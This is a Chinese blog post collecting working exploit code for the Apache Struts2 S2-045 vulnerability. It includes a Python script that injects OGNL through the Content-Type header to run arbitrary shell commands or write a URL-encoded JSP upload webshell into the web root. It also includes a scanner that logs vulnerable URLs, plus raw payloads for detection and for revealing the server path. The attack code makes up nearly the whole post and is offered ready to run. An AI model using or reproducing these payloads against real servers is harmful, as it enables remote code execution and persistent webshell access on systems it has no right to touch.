Strust2 S2-045 一些利用代码

作者: admin 分类: 实用脚本 发布时间: 2017-03-08 22:48

下面几个脚本不错 http://thief.one/2017/03/07/Struts2-045%E6%BC%8F%E6%B4%9E/ https://github.com/tengzhangchao/Struts2_045-Poc 上传文件版 版权归 @_luan 及t00ls 所有 本人(lostwolf)只是修改了下更好用的shell bug: win 下不支持ssl 来源 :https://www.t00ls.net/thread-38511-1-1.html

import urllib 
import urllib2
import sys,getopt,ctypes
import ssl

ssl._create_default_https_context = ssl._create_unverified_context
def exp(url,payload):
    try:
        opener = urllib2.build_opener()
        urllib2.install_opener(opener)
        req = urllib2.Request(url)
        req.add_header('Content-Type',payload)
	body = opener.open(req, "").read()
        body=body.decode("big5")
        return body
    except urllib2.URLError,e:
        return "fail"
    return "fail"
jspCode = "%3Cjsp%3AuseBean%20id%3D%22prop%22%20scope%3D%22page%22%20class%3D%22java.util.Properties%22%20%2f%3E%0A%3C%25@%20page%20import%3D%22java.io.%2a%2Cjava.util.%2a%2Cjavax.servlet.%2a%22%20%25%3E%0A%0A%3C%25%21%0Apublic%20String%20getBoundary%28HttpServletRequest%20request%2CProperties%20prop%29%20throws%20ServletException%2CIOException%7B%0A%20%20%20%20String%20boundary%20%3D%20null%3B%0A%20%20%20%20Enumeration%20enum_%20%3D%20request.getHeaderNames%28%29%3B%0A%20%20%20%20while%28enum_.hasMoreElements%28%29%29%7B%0A%20%20%20%20%20%20%20%20String%20header%20%3D%20%28String%29enum_.nextElement%28%29%3B%0A%20%20%20%20%20%20%20%20String%20hvalue%20%3D%20request.getHeader%28header%29%3B%0A%20%20%20%20%20%20%20%20prop.setProperty%28%28header%29.toLowerCase%28%29%2Chvalue%29%3B%0A%20%20%20%20%20%20%20%20if%28%22content-type%22.equalsIgnoreCase%28header%29%20%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20int%20idx%20%3D%20hvalue.lastIndexOf%28%22boundary%3D%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%28idx%20%21%3D%20-1%20%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20boundary%3D%20hvalue.substring%28idx%2b9%20%2C%20hvalue.length%28%29%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20return%20boundary%3B%0A%7D%0A%0Apublic%20String%20getFileName%28String%20secondline%29%7B%0A%20%20%20%20int%20len%20%3D%20secondline.length%28%29%3B%0A%20%20%20%20int%20idx%20%3D%20secondline.lastIndexOf%28%22filename%3D%22%29%3B%0A%20%20%20%20if%28idx%20%3D%3D%20-1%20%29%20return%20null%3B%0A%20%20%20%20String%20filename%20%3D%20secondline.substring%28idx%2b10%20%2C%20len-1%29%3B%0A%20%20%20%20filename%20%3D%20filename.replace%28%27%5C%5C%27%2C%27%2f%27%29%3B%0A%20%20%20%20idx%20%3D%20filename.lastIndexOf%28%22%2f%22%29%3B%0A%20%20%20%20idx%20%3D%20idx%20%2b%201%3B%0A%20%20%20%20filename%20%3D%20filename.substring%28%20idx%20%29%3B%0A%20%20%20%20return%20filename%3B%0A%7D%0A%25%3E%0A%0A%3C%25%0Aint%20ROUGHSIZE%20%3D%20640000%3B%0Aint%20MAXSIZE%20%3D%2010%3B%20%2f%2f%2010%20Mega%20Byte%0AString%20boundary%20%3D%20getBoundary%28request%2Cprop%29%3B%0A%0Aif%28boundary%20%3D%3D%20null%20%29%7B%0A%20%20%20%20boundary%20%3D%20prop.getProperty%28%22boundary%22%29%3B%20%0A%7D%0Aelse%7B%0A%20%20%20%20boundary%20%3D%20%22--%22%2bboundary%3B%0A%7D%0Aif%28boundary%20%3D%3D%20null%20%29%7B%0A%20%20%20%20out.print%28%22%3Chtml%3E%3Cform%20name%3D%5C%22test%5C%22%20method%3D%5C%22post%5C%22%20enctype%3D%5C%22multipart%2fform-data%5C%22%3E%3Cb%3Efile%20uploader%3C%2fb%3E%3Cbr%3E%3Cinput%20type%3D%5C%22File%5C%22%20name%3D%5C%22file%5C%22%3E%3Cinput%20type%3D%5C%22Submit%5C%22%20value%3D%5C%22Upload%5C%22%20name%3D%5C%22Submit%5C%22%3E%3C%2fform%3E%3C%2fhtml%3E%22%29%3B%0A%20%20%20%20return%3B%0A%7D%0ALong%20contentsize%20%3D%20new%20Long%28prop.getProperty%28%22content-length%22%2C%220%22%29%29%3B%0Aint%20c%3B%0AStringWriter%20st%20%3D%20new%20StringWriter%28%29%3B%0Aif%28contentsize.longValue%28%29%20%3C%201L%20%29%7B%0A%20%20%20%20return%3B%0A%7D%20%0Along%20l%20%3D%20contentsize.longValue%28%29%20-%20ROUGHSIZE%3B%20%0Aint%20KB%20%3D%201024%3B%0Aint%20MB%20%3D%201024%20%2a%20KB%3B%0Aint%20csize%20%3D%20%28int%29%28l%20%2f%20MB%29%3B%0Aif%28csize%20%3E%20MAXSIZE%20%29%7B%0A%20%20%20%20return%3B%0A%7D%0AServletInputStream%20fin%20%3D%20%20request.getInputStream%28%29%3B%0Aint%20cn%3B%0Aint%20count%3D0%3B%0A%0Awhile%28%28c%3Dfin.read%28%29%29%20%21%3D%20-1%20%29%7B%0A%20%20%20%20if%28%20c%20%3D%3D%20%27%5Cr%27%29%20%0A%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20st.write%28c%29%3B%0A%20%20%20%20count%2b%2b%3B%0A%7D%0Ac%3Dfin.read%28%29%3B%0AString%20tboundary%20%3D%20st.getBuffer%28%29.toString%28%29%3B%0Atboundary%3Dtboundary.trim%28%29%3B%0A%0Aif%28%21%20tboundary.equalsIgnoreCase%28boundary%29%20%29%7B%0A%20%20%20%20return%3B%0A%7D%0Ast.close%28%29%3B%0Ast%20%3D%20null%3B%0Ast%20%3D%20new%20StringWriter%28%29%3B%0A%0Awhile%28%28c%3Dfin.read%28%29%29%20%21%3D%20-1%20%29%7B%0A%20%20%20%20if%28%20c%20%3D%3D%20%27%5Cr%27%20%29%20break%3B%0A%20%20%20%20st.write%28c%29%3B%0A%20%20%20%20%7D%0Ac%20%3D%20fin.read%28%29%3B%0A%0AString%20secondline%20%3D%20st.getBuffer%28%29.toString%28%29%3B%0AString%20filename%20%3D%20getFileName%28secondline%29%3B%0A%0Ast.close%28%29%3B%0Ast%20%3D%20null%3B%0Ast%20%3D%20new%20StringWriter%28%29%3B%0Awhile%28%28c%20%3D%20fin.read%28%29%29%20%21%3D%20-1%20%29%7B%0A%20%20%20%20if%28%20c%20%3D%3D%20%27%5Cr%27%20%29%20break%3B%0A%20%20%20%20%20%20%20%20st.write%28c%29%3B%0A%7D%0Ac%20%3D%20fin.read%28%29%3B%0A%0Afin.read%28%29%3B%20%0Afin.read%28%29%3B%20%20%0AFile%20newfile%20%3D%20null%3B%0AFileOutputStream%20fout%20%3Dnull%3B%20%0Atry%7B%0A%20%20%20%20newfile%20%3D%20new%20File%28application.getRealPath%28%22%2f%22%29%20%2b%20filename%29%3B%0A%20%20%20%20fout%20%3D%20new%20FileOutputStream%28%20newfile%20%29%3B%0A%7D%0Acatch%28Exception%20ex%29%7B%0A%20%20%20%20out.println%28ex.getMessage%28%29%29%3B%0A%20%20%20%20return%3B%0A%7D%0A%0Abyte%20b%5B%5D%20%3D%20null%3B%0Awhile%28l%20%3E%201024L%29%7B%0A%20%20%20%20b%20%3D%20new%20byte%5B1024%5D%3B%0A%20%20%20%20fin.read%28b%2C0%2C1024%29%3B%0A%20%20%20%20fout.write%28b%29%3B%0A%20%20%20%20b%3Dnull%3B%0A%20%20%20%20l%20-%3D%201024L%3B%0A%7D%0Aif%28l%20%3E%200%29%7B%0A%20%20%20%20b%20%3D%20new%20byte%5B%28int%29l%5D%3B%0A%20%20%20%20fin.read%28b%2C0%2C%28int%29l%29%3B%0A%20%20%20%20fout.write%28b%29%3B%0A%7D%0A%0A%0AByteArrayOutputStream%20baos%20%3D%20new%20ByteArrayOutputStream%28%29%3B%0Awhile%28%28c%20%3D%20fin.read%28%29%29%20%21%3D%20-1%29%7B%0A%20%20%20%20baos.write%28c%29%3B%0A%7D%0AString%20laststring%20%3D%20baos.toString%28%29%3B%0Aint%20idx%20%3D%20laststring.indexOf%28boundary%29%3B%0Ab%20%3D%20baos.toByteArray%28%29%3B%0Aif%28idx%20%3E%202%29%7B%0A%20%20%20%20fout.write%28b%2C0%2Cidx-2%29%3B%0A%7D%0Aelse%7B%0A%20%20%20%20fout.close%28%29%3B%0A%20%20%20%20newfile.delete%28%29%3B%0A%20%20%20%20return%3B%0A%7D%0Afout.flush%28%29%3B%0Afout.close%28%29%3B%0Afin.close%28%29%3B%0A%0Aout.println%28%22File%20uploaded%3A%20%22%20%2b%20newfile%29%3B%0A%25%3E%0A"
print "S2-045 Exploit // Code By Luan QQ:1524946693"
opts, args = getopt.getopt(sys.argv[1:], "u:c:p:")
url,cmd,path = "","",""
for op, value in opts:
    if op == '-u':
        url = value
    elif op == '-c':
        cmd = value
    elif op == '-p':
        path = value
if url == "":
    print "Useage : exp.py -u url [-c cmd] [-p upfilePath]"
    sys.exit(0)
if cmd == "":
    print "upload webshell ..."
    if path == "":
        path = "#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('/')"
    else:
        path = "'" + path + "'"
    payload = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=" + path + ").(#shell='" + jspCode + "').(new java.io.BufferedWriter(new java.io.FileWriter(#path+'/pangzi.jsp').append(new java.net.URLDecoder().decode(#shell,'UTF-8'))).close()).(#cmd='echo path:'+#path+'pangzi.jsp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    #payload = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=" + path + ").(#shell='" + jspCode + "').(new java.io.BufferedWriter(new java.io.FileWriter(#path+'luan.jsp').append(#shell)).close()).(#cmd='echo \\\"write file to '+#path+'luan.jsp\\\"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
else:
    print "run " + cmd + " ..."
    payload = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
result = exp(url,payload)
if result == "fail":
    print "Exploit Fail"
else:
    print result

无损检测:

#! -*- encoding:utf-8 -*-
import urllib2
import sys
import ssl
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
ssl._create_default_https_context = ssl._create_unverified_context

def poc(url):
  f=open("result.txt","a")
  register_openers()
  datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
  header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
  header["Content-Type"]="Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vul','vul')}.multipart/form-data"
  header['Content-Type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('test123')).(#o.close())}"
  try:
     request = urllib2.Request(url,datagen,headers=header)
     response = urllib2.urlopen(request,timeout=10)
     body=response.read()
     #i=response.info().getheader('vul');
  except:
      body=""

  if "test123" in body:
      print "[Loopholes exist]",url
      f.write(url+"\n")
  else:
      print "Loopholes not exist",url
url=sys.argv[1]

poc(url)

无损检测2:

Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vul','vul')}.multipart/form-data

显示当前路径:

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#wmres=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#wmres.getWriter().print("S2-045 dir--***")).(#wmreq=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#wmres.getWriter().println(#wmreq.getSession().getServletContext().getRealPath("/"))).(#wmres.getWriter().flush()).(#wmres.getWriter().close())}.multipart/form-data

 

 

标签云